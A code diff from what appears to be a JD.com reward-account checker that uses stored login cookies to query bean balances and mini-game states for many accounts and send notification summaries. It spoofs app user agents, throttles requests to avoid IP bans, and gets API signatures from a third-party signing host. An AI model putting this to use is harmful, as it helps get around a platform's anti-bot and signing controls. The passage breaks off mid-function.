$.JingXiang = ""; + + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + TempBaipiao = ""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await TotalBean(); + await TotalBean2(); + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await getJoyBaseInfo(); + await getJdZZ(); + await getMs(); + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + await getjdfruit(); + await cash(); + await requestAlgo(); + await JxmcGetRequest(); + await bean(); + + if (llShowMonth) { + console.log("开始获取月数据,请稍后..."); + await Monthbean(); + console.log("月数据获取完毕,暂停10秒防止IP被黑..."); + await $.wait(10 * 1000); + } + + await getJxFactory(); //京喜工厂 + await getDdFactoryInfo(); // 京东工厂 + if (DisableCash == "false") { + await jdCash(); + } + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + $.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1) + ReturnMessage += `${$.levelName}Plus`; + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + if ($.levelName || $.JingXiang){ + ReturnMessage += `【当前京豆】${$.beanCount}豆(≈${($.beanCount / 100).toFixed(2)}元)\n`; + } else { + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + } + + if (typeof $.JDEggcnt !== "undefined") { + if ($.JDEggcnt == 0) { + ReturnMessage += `【京喜牧场】未开通或提示火爆.\n`; + } else { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + + } + if (typeof $.JDtotalcash !== "undefined") { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if (typeof $.JdzzNum !== "undefined") { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + + if ($.joylevel || $.jdCash) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + if ($.jdCash) { + ReturnMessage += ","; + } + } + if ($.jdCash) { + ReturnMessage += `领现金:${$.jdCash}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if ($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + const response = await PetRequest('energyCollect'); + const initPetTownRes = await PetRequest('initPetTown'); + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + if (TempBaipiao) { + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + ReturnMessage += RemainMessage; + + await notify.sendNotifybyWxPucher(`${$.name}`, `${ReturnMessage}`, `${$.UserName}`); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(2000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + //await queryexpirejingdou();//过期京豆 + //$.todayOutcomeBean=$.todayOutcomeBean+$.expirejingdou; + await redPacket(); //过期红包 + // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdCash() { + let functionId = "cash_homePage" + let body = "%7B%7D" + let uuid = randomString(16) + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, decodeURIComponent(body), uuid) + if (isSignError) { + console.log(`领现金任务签名获取失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + isSignError = false; + sign = await getSign(functionId, decodeURIComponent(body), uuid); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + isSignError = false; + sign = await getSign(functionId, decodeURIComponent(body), uuid); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } + let url = `${JD_API_HOST}?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise((resolve) => { + $.post(apptaskUrl(url, body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function apptaskUrl(url, body) { + return { + url, + body: `body=${body}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function getSign(functionid, body, uuid) { + return new Promise(async resolve => { + let data = { + "functionId": functionid, + "body": body, + "uuid": uuid, + "client": "apple", + "clientVersion": "10.1.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 15000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + isSignError = true; + //console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else {} + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + $.isPlusVip = 3; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === 